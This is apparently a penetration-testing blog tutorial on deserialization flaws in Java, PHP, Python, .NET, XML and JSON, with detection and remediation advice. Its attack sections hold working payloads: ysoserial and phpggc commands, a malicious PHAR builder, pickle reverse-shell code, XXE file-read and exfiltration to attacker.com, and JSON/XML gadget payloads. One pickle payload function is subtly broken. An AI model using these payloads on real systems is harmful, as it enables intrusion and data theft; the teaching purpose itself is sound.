Skip to content
SecureKhan
Go back

Serialization Attacks for Pentesters: Deserialization Vulnerabilities Explained

Serialization Attacks for Pentesters

TL;DR: Serialization converts objects to bytes/text. Deserialization reverses this. If applications deserialize untrusted data without validation, attackers can achieve RCE. This is OWASP A08:2021.


Table of Contents

Open Table of Contents

Quick Reference

Serialization Formats

FormatLanguageSignature/Magic Bytes
Java SerializedJavaAC ED 00 05 or base64 rO0AB
PHP SerializedPHPO:4:"User":... or a:2:{...}
Python PicklePython\x80\x04\x95 or base64 gASV
.NET BinaryFormatter.NET00 01 00 00 00 FF FF FF FF
.NET ViewState.NETBase64 starting with /w
YAMLMultiple--- header
XMLMultiple<?xml ...?>

Common Locations

LocationFormatCheck
CookiesBase64-encoded serializedDecode and inspect
POST bodyRaw serialized dataCheck Content-Type
HTTP headersCustom headersLook for binary/base64
ViewState.NET apps__VIEWSTATE parameter
Session dataServer-storedTest via cookies
API endpointsJSON/XMLObject injection

Essential Tools

ToolPurposeLanguage
ysoserialPayload generationJava
phpggcPayload generationPHP
peasPayload generationPython
ysoserial.netPayload generation.NET
Burp ExtensionDetectionAny

Why Serialization Matters

The Problem

Safe Flow:
User Input → Validation → Processing

Dangerous Flow:
Serialized Data → Deserialize → Object Created

                    Magic methods execute
                    (constructor, __wakeup, readObject)

                    ATTACKER-CONTROLLED CODE RUNS!

Impact

ImpactSeverityExample
Remote Code ExecutionCriticalRun system commands
Object InjectionHighManipulate application logic
Authentication BypassCriticalForge session objects
File OperationsHighRead/write arbitrary files
SQL InjectionHighInject via object properties

Real-World Breaches

IncidentVulnerabilityImpact
Apache Struts (2017)Java deserializationEquifax breach (143M records)
Jenkins (2016-2017)Java deserializationMultiple RCE exploits
WebLogic (2019)Java deserializationT3 protocol RCE
Drupal (2019)PHP deserializationRCE via phar://

How Serialization Works

TL;DR: Serialization converts in-memory objects to a storable/transmittable format. Deserialization recreates objects from this format.

Serialization Process

Serialization:
┌─────────────────────┐        ┌──────────────────────────┐
│      Object         │        │      Byte Stream         │
│                     │        │                          │
│  class User {       │        │  AC ED 00 05 73 72 00    │
│    name: "Alice"    │ ────► │  04 55 73 65 72 00 00    │
│    role: "admin"    │        │  00 00 00 00 01 02 00    │
│  }                  │        │  02 4C 00 04 6E 61 6D    │
└─────────────────────┘        └──────────────────────────┘

Deserialization:
┌──────────────────────────┐        ┌─────────────────────┐
│      Byte Stream         │        │      Object         │
│                          │        │                     │
│  AC ED 00 05 73 72 00    │        │  class User {       │
│  04 55 73 65 72 00 00    │ ────► │    name: "Alice"    │
│  00 00 00 00 00 01 02    │        │    role: "admin"    │
│  00 02 4C 00 04 6E 61    │        │  }                  │
└──────────────────────────┘        └─────────────────────┘

Why It’s Dangerous

The Gadget Chain Attack:

1. Attacker crafts malicious serialized object
2. Object uses existing library classes ("gadgets")
3. When deserialized, magic methods trigger
4. Gadget chain leads to dangerous operation

Example Java gadget chain:
┌─────────────────┐
│ InvokerTransformer│ ─── calls ─┐
└─────────────────┘              ▼
                           ┌─────────────────┐
                           │ ChainedTransformer│
                           └─────────────────┘

                    ┌─────────────┴─────────────┐
                    ▼                           ▼
         ┌─────────────────┐         ┌─────────────────┐
         │ConstantTransformer│       │InvokerTransformer│
         │ (Runtime.class)  │        │(.exec("calc"))   │
         └─────────────────┘         └─────────────────┘


                                    CALCULATOR OPENS!

Java Deserialization

TL;DR: Java serialization is binary format using ObjectInputStream. Vulnerable when deserializing untrusted data with dangerous libraries in classpath.

Java Serialization Format

Magic bytes: AC ED 00 05
Base64:      rO0AB...

┌──────────────────────────────────────────────────────────┐
│ AC ED  │ 00 05 │ 73 72 │ ... class descriptor ...│ data │
│ magic  │ version│ object│                        │      │
│        │        │ marker│                        │      │
└──────────────────────────────────────────────────────────┘

Vulnerable Code Pattern

// VULNERABLE: Deserializing untrusted data
ObjectInputStream ois = new ObjectInputStream(
    new ByteArrayInputStream(untrustedData)
);
Object obj = ois.readObject();  // DANGER!

Magic Methods

MethodWhen Triggered
readObject()During deserialization
readResolve()After deserialization
finalize()Garbage collection (deprecated)
toString()String conversion
hashCode()Hash operations
equals()Comparison

Gadget Chains

LibraryGadgetImpact
Commons CollectionsMultipleRCE
SpringSpring beansRCE
GroovyMethodClosureRCE
Jdk7u21AnnotationInvocationHandlerRCE
HibernateTypedValueRCE
VaadinNestedMethodPropertyRCE

Testing Checklist

Java Exploitation Commands
# Generate ysoserial payload
java -jar ysoserial.jar CommonsCollections6 'curl attacker.com/pwned' | base64

# Common payloads to try:
java -jar ysoserial.jar CommonsCollections1 'id'
java -jar ysoserial.jar CommonsCollections5 'id'
java -jar ysoserial.jar CommonsCollections6 'id'
java -jar ysoserial.jar CommonsCollections7 'id'
java -jar ysoserial.jar Groovy1 'id'
java -jar ysoserial.jar Spring1 'id'

# DNS callback (blind testing)
java -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net'

# JRMPListener (out of band)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1'

# Using with curl
payload=$(java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0)
curl -X POST "http://target/api" \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary "@-" <<< $(echo $payload | base64 -d)
AttackDetectDefend
Gadget chain RCEMonitor deserializationDon’t deserialize untrusted data
URLDNS callbackDetect outbound DNSUse lookahead deserialization
JRMP attackMonitor RMI trafficWhitelist allowed classes

PHP Deserialization

TL;DR: PHP’s unserialize() recreates objects. Magic methods like __wakeup() and __destruct() execute during/after deserialization.

PHP Serialization Format

// Object
O:4:"User":2:{s:4:"name";s:5:"Alice";s:4:"role";s:5:"admin";}

       └─ value
    └─ length
  └─ property name
         └─ string type
       └─ value
    └─ length
  └─ property name
  └─ string type
   └─ number of properties
    └─ class name
│ └─ length of class name
└─ Object type

// Array
a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

      └─ value
 └─ integer key
       └─ value
      └─ integer key
 └─ size
  └─ array type

Vulnerable Code Pattern

// VULNERABLE: Deserializing untrusted data
$user = unserialize($_COOKIE['session']);

// Also vulnerable via phar://
include($_GET['file']); // file=phar://malicious.phar

Magic Methods

MethodWhen Triggered
__construct()Object creation
__destruct()Object destruction
__wakeup()During unserialize
__toString()String conversion
__call()Undefined method call
__get()Undefined property access

Gadget Chains (phpggc)

# List available chains
phpggc -l

# Generate payload
phpggc Laravel/RCE1 system id

# Common frameworks:
phpggc Monolog/RCE1 system id
phpggc Guzzle/RCE1 system id
phpggc Symfony/RCE4 system id
phpggc WordPress/RCE1 system id
phpggc Magento/SQLI1 'sql query'

PHAR Deserialization

// phar:// stream wrapper triggers deserialization
// Even on file operations that shouldn't!

file_exists('phar://malicious.phar');  // Triggers unserialize!
file_get_contents('phar://...');
include('phar://...');
fopen('phar://...');
// Many more...
PHP Exploitation
<?php
// Create malicious PHAR

class EvilClass {
    public $cmd = 'id';
    function __destruct() {
        system($this->cmd);
    }
}

$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new EvilClass());
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

// Rename to bypass extension checks
rename('evil.phar', 'evil.jpg');
?>

# Then exploit:
# ?file=phar://uploads/evil.jpg/test.txt
# Using phpggc
phpggc -u Monolog/RCE1 system id
# -u for URL encoding

# For PHAR
phpggc -p phar -o evil.phar Monolog/RCE1 system id

# With custom wrapper
phpggc -p phar-jpeg -o evil.jpg Monolog/RCE1 system id
AttackDetectDefend
Magic method chainMonitor object creationUse json_decode instead
PHAR deserializationDetect phar:// accessDisable phar:// wrapper
Object injectionLog unserialize callsValidate before unserialize

Python Pickle

TL;DR: Python’s pickle can execute arbitrary code during deserialization. The __reduce__ method is especially dangerous.

Pickle Format

# Pickle uses a stack-based VM
# Opcodes control operations

import pickle
import pickletools

data = pickle.dumps({'key': 'value'})
pickletools.dis(data)
# Shows: MARK, DICT, STRING, etc.

Vulnerable Code Pattern

# VULNERABLE: Loading untrusted pickle
import pickle

data = receive_from_network()
obj = pickle.loads(data)  # DANGER!

# Also vulnerable:
pickle.load(file_handle)

Exploitation via reduce

import pickle
import os

class Exploit:
    def __reduce__(self):
        # Returns (callable, args) tuple
        # callable(*args) is executed on unpickle
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
# When unpickled, runs: os.system('id')

Payload Generation

Python Pickle Payloads
# Basic RCE payload
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/pwned',))

payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())

# Reverse shell
class RevShell:
    def __reduce__(self):
        import socket, subprocess, os
        return (os.system, ('bash -i >& /dev/tcp/attacker/4444 0>&1',))

# Using pickle opcodes directly
import pickletools

# Raw opcode payload for os.system('id')
payload = b'''cos
system
(S'id'
tR.'''

# More complex payload generator
def generate_payload(cmd):
    return pickle.dumps({
        '__reduce__': (eval, (f"__import__('os').system('{cmd}')",))
    })
# Using fickling (for analysis)
pip install fickling
python -m fickling --check payload.pkl

# Using peas (Python Exploitation & Analysis Suite)
# https://github.com/frohoff/peas
AttackDetectDefend
reduce RCEMonitor pickle loadsUse JSON instead
Arbitrary code execDetect pickle usageWhitelist allowed classes
Module importLog imported modulesUse hmac to sign pickles

.NET Deserialization

TL;DR: .NET’s BinaryFormatter and other serializers can lead to RCE. ViewState is a common attack vector.

.NET Serializers

SerializerRiskNotes
BinaryFormatterCriticalDeprecated, avoid
NetDataContractSerializerCriticalSimilar to BinaryFormatter
SoapFormatterCriticalXML-based, same risks
ObjectStateFormatterHighViewState
JavaScriptSerializerMediumType handling issues
Json.NETLowWith TypeNameHandling
XmlSerializerLowerLimited type support

ViewState Exploitation

ViewState is serialized page state in ASP.NET:

<input type="hidden" name="__VIEWSTATE" value="..." />

If MAC validation disabled or key leaked:
1. Decode ViewState (base64)
2. Inject malicious serialized object
3. Re-encode and submit
4. Server deserializes → RCE

Vulnerable Configuration

<!-- web.config - VULNERABLE -->
<system.web>
    <pages enableViewStateMac="false" />
</system.web>

<!-- Or with known machineKey -->
<machineKey validationKey="..." decryptionKey="..." />
.NET Exploitation
# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc"
ysoserial.exe -f ObjectStateFormatter -g TypeConfuseDelegate -c "calc"

# ViewState exploitation
# If MAC disabled:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
    -c "powershell -enc ..." --path="/target.aspx" --apppath="/"

# If machine key known:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
    -c "calc" --path="/target.aspx" --apppath="/" \
    --validationkey="..." --validationalg="SHA1" \
    --decryptionkey="..." --decryptionalg="AES"

# Generate for specific formatter
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
AttackDetectDefend
ViewState tamperingMonitor ViewState errorsEnable MAC validation
BinaryFormatter RCEDetect formatter usageUse safer serializers
Json.NET type abuseLog type resolutionDisable TypeNameHandling

XML-based Attacks

TL;DR: XML can carry both XXE (entity injection) and deserialization attacks through type attributes.

XXE (XML External Entity)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- Blind XXE via OOB -->
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>

XML Deserialization

<!-- .NET XmlSerializer with types -->
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:type="System.Diagnostics.Process">
  <StartInfo>
    <FileName>cmd</FileName>
    <Arguments>/c calc</Arguments>
  </StartInfo>
</root>

<!-- Java XMLDecoder -->
<java>
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="1">
      <void index="0"><string>calc</string></void>
    </array>
    <void method="start"/>
  </object>
</java>
AttackDetectDefend
XXE file readMonitor external entitiesDisable DTD processing
XXE SSRFDetect outbound connectionsDisable external entities
XML deserializationLog type attributesWhitelist types
XXE Payloads
<!-- File read -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!-- SSRF -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080/">]>
<foo>&xxe;</foo>

<!-- Blind OOB -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&send;</foo>

<!-- evil.dtd -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

<!-- Parameter entity tricks -->
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?%data;'>">
%param1;
]>
<foo>&exfil;</foo>

JSON Attacks

TL;DR: JSON itself is safe, but libraries that support type hints or polymorphism can be exploited.

Vulnerable JSON Libraries

LibraryLanguageVulnerability
Json.NET (Newtonsoft).NETTypeNameHandling
JacksonJavaDefault typing
fastjsonJavaAutoType

Exploitation Examples

// Json.NET with TypeNameHandling
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd", "/c calc"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

// Jackson with default typing
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"ldap://attacker/Exploit"}]
AttackDetectDefend
Type confusionMonitor type resolutionDisable type hints
Gadget chainsDetect dangerous typesWhitelist allowed types
JNDI injectionBlock LDAP/RMIUpdate libraries

Identifying Serialized Data

Common Signatures

FormatSignatureBase64
JavaAC ED 00 05rO0AB
.NET BinaryFormatter00 01 00 00 00 FF FF FF FFAAEAAAD/////
PHPO:, a:, s:, i:N/A (text)
Python Pickle\x80\x04\x95gASV
gzip1F 8BH4sI

Detection in Burp

1. Look in:
   - Cookies
   - Hidden form fields
   - POST body
   - Custom headers

2. Decode base64 values
3. Check magic bytes
4. Look for patterns:
   - Java: "sr" after magic bytes
   - PHP: O:number:"classname"
   - .NET: type assembly strings

Automated Detection

# Using grep for patterns
grep -r "rO0AB" ./logs/
grep -r "O:[0-9]*:\"" ./logs/
grep -r "AAEAAAD" ./logs/

# Burp extensions:
# - Java Deserialization Scanner
# - Freddy (Deserialization Bug Finder)
# - ViewState Editor

Exploitation Techniques

Testing Workflow

1. IDENTIFY
   └── Find serialized data
   └── Determine format/language

2. ANALYZE
   └── What classes are available?
   └── What gadgets exist?

3. GENERATE
   └── Create payload with appropriate tool
   └── ysoserial, phpggc, etc.

4. DELIVER
   └── Replace legitimate serialized data
   └── Encode appropriately (base64, URL)

5. VERIFY
   └── Blind: DNS callback, sleep
   └── Direct: Command output

Blind Testing

# DNS callback
java -jar ysoserial.jar URLDNS 'http://unique-id.burpcollaborator.net'

# Time-based
java -jar ysoserial.jar CommonsCollections6 'sleep 10'

# OOB HTTP
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/callback'

Defense and Remediation

General Recommendations

RecommendationPriority
Don’t deserialize untrusted dataCritical
Use safe serialization formats (JSON)High
Implement input validationHigh
Keep libraries updatedHigh
Use allowlists for classesMedium
Monitor deserializationMedium

Language-Specific Fixes

Remediation Code
// Java - Use ObjectInputFilter (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "!*;java.base/*;java.util.*"
);
ois.setObjectInputFilter(filter);

// Or use safe alternatives
// JSON: Gson, Jackson without type info
// Protocol Buffers
// MessagePack
// PHP - Use JSON instead
$data = json_decode($input, true);

// If unserialize needed, use allowed_classes
$obj = unserialize($data, ['allowed_classes' => ['SafeClass']]);

// Disable phar://
// In php.ini: phar.readonly = 1
# Python - Use JSON
import json
data = json.loads(input_string)

# If pickle needed, use hmac
import hmac
import pickle

def safe_load(data, key):
    signature, pickled = data.split(b':', 1)
    expected = hmac.new(key, pickled).digest()
    if not hmac.compare_digest(signature, expected):
        raise ValueError("Invalid signature")
    return pickle.loads(pickled)
// .NET - Avoid BinaryFormatter
// Use System.Text.Json or JsonSerializer

// If needed, use SerializationBinder
public class SafeBinder : SerializationBinder {
    public override Type BindToType(string assemblyName, string typeName) {
        if (typeName != "SafeType")
            throw new SecurityException();
        return typeof(SafeType);
    }
}

Tools Reference

Payload Generators

ToolLanguageLink
ysoserialJavaGitHub
ysoserial.net.NETGitHub
phpggcPHPGitHub
peasPythonGitHub

Detection Tools

ToolPurpose
Burp Deserialization ScannerJava detection
FreddyMulti-language detection
ViewState Editor.NET ViewState
SerializationDumperJava analysis

Analysis Tools

ToolPurpose
SerializationDumperAnalyze Java serialized
pickletoolsAnalyze Python pickle
dnSpy.NET decompilation

Practice Labs

Beginner

ResourceFocus
PortSwigger Web AcademyDeserialization labs
TryHackMeJava deserialization
HackTheBoxVarious challenges

Vulnerable Applications

ApplicationLanguage
WebGoatJava
DVWAPHP
Vulnerable Java AppJava
NodeGoatNode.js

Glossary

TermDefinition
DeserializationConverting bytes to objects
GadgetExisting class used in exploit chain
Gadget ChainSeries of gadgets leading to RCE
Magic MethodAuto-called method (__wakeup, readObject)
MarshallingAnother term for serialization
Object InjectionInjecting malicious objects
PicklePython serialization format
SerializationConverting objects to bytes
ViewState.NET page state serialization
XXEXML External Entity injection

What’s Next?

Now that you understand serialization attacks:

TopicDescriptionLink
Web App PentestingFull methodologyWeb App Guide
API SecurityAPI-specific attacksAPI Security Guide
Java SecurityDeeper Java focusComing Soon
EncodingUnderstanding formatsEncoding Guide

Summary

Serialization attacks are high-impact vulnerabilities:

  1. Java - AC ED magic bytes, ysoserial gadget chains
  2. PHP - unserialize() + magic methods, phar:// wrapper
  3. Python - pickle.loads() + __reduce__ method
  4. .NET - BinaryFormatter, ViewState tampering
  5. XML - XXE injection, type attributes
  6. JSON - TypeNameHandling, default typing

Key Points:


Found this guide helpful? Check out the other posts in the SecureKhan penetration testing series.


Share this post on:

Previous Post
Linux Hardening for Security Engineers: A Practical Guide
Next Post
How Proxies Work for Pentesters: Forward, Reverse & Interception